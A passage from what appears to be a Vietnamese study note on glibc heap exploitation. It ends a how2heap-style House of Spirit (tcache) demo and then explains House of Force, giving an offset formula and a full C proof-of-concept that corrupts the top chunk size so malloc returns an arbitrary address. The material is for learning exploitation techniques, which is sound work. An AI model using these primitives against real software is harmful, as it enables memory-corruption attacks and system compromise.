don't need to create fake chunk after the fake chunk that will be freed.\n"); printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); printf("Ok. Let's start with the example!.\n\n"); printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1); printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsigned long long *a; //pointer that will be overwritten unsigned long long fake_chunks[10]; //fake chunk region printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; printf("Freeing the overwritten pointer.\n"); free(a); printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); void *b = malloc(0x30); printf("malloc(0x30): %p\n", b); assert((long)b == (long)&fake_chunks[2]); } ``` ## House of Force - là một kỹ thuật tấn công Top_chunk để lần **malloc()** sau đó trả về 1 con trỏ tuỳ ý - chỉ áp dụng cho các phiên bản libc < 2.29 ### why? - khi ta có khả năng ow được size của Top_chunk ---> thay đổi thành 1 size cực đại (ví dụ) - thì lần request **malloc()** tiếp theo sẽ bỏ qua **mmap** mà lấy không gian ngoài heap ### how? - để trả về **ptr** tuỳ ý mình muốn, phải xác định được offset (size) để **malloc()** ra ```python target = 0xdeadbeef ptr_top = heap_base + offset size = (target - ptr_top - 0x8*4) #64bit size = (target - ptr_top - 0x4*4) #32bit ``` - khi **malloc()** với lượng size được tính như trên thì sẽ trả về con trỏ tới Top_chunk - và **malloc()** tiếp theo nữa sẽ trả về **ptr** ta muốn ### examble - source: (lấy libc 2.27 mà run thử nhoé) ```c #include <stdio.h> #include <stdlib.h> unsigned long target; int main(void) { puts("So let's cover House of Force."); puts("With this Hose Attack, our goal is to get malloc to allocate a chunk outside of the heap."); puts("To do this, we will attack the wilderness value, which specifies how much space is left in the wilderness."); puts("The wilderness is space that has been mapped to the heap, yet has not been allocated yet."); puts("We will overwrite this value with a larger value, so we can get malloc to allocate space outside of the heap."); puts("Let's get started.\n"); puts("Our goal will be to get malloc to return a pointer to the bss variable."); printf("Variable Address:\t%p\n\n", &target); puts("So let's start off by allocating a chunk. We will use this to set up the heap, and as a reference to overwrite the wilderness value.\n"); unsigned long *ptr = malloc(0x10); puts("Now using some sort of bug, we can overwrite the wilderness value to a much larger value."); printf("Old Wilderness: 0x%lx\n", ptr[3]); ptr[3] = 0xffffffffffffffff; printf("New Wilderness: 0x%lx\n\n", ptr[3]); puts("Now that we have increased the wilderness value significantly, let's allocate some chunks."); puts("The first chunk will be massive, and will align the heap right up to the target address."); puts("Then when we allocate the second chunk, it will overlap directly with the target chunk.\n"); puts("Now for how much space to allocate is pretty similar."); puts("It will be (targetAddress - wilderness - 0x20)."); puts("Where targetAddress is the address we are trying to get malloc to allocate."); puts("The wilderness value is the address of the start of the value, which is the previous qword from the wilderness value."); puts("The 0x20 is four 4 qwords, because each of the two chunks takes 2 qwords (0x10 bytes) of space for the heap metadata.\n"); unsigned long *wilderness = &ptr[2]; unsigned long offset = (unsigned long)&target - (unsigned long)wilderness - sizeof(long)*4; printf("Target Address:\t\t%p\n", &target); printf("Wilderness Address:\t%p\n", wilderness); printf("Malloc Size:\t\t%lx\n\n", offset); printf("Now to allocate the first chunk.\n\n"); unsigned long *chunk0, *chunk1; chunk0 = malloc(offset); printf("We can see that we allocated a chunk at:\t%p\n", chunk0); printf("With that the heap should be aligned so the next malloc gives us our target address.\n\n"); chunk1 = malloc(0x10); printf("Chunk allocated at:\t%p\n\n", chunk1); puts("With that, we got our target chunk!"); } ``` ---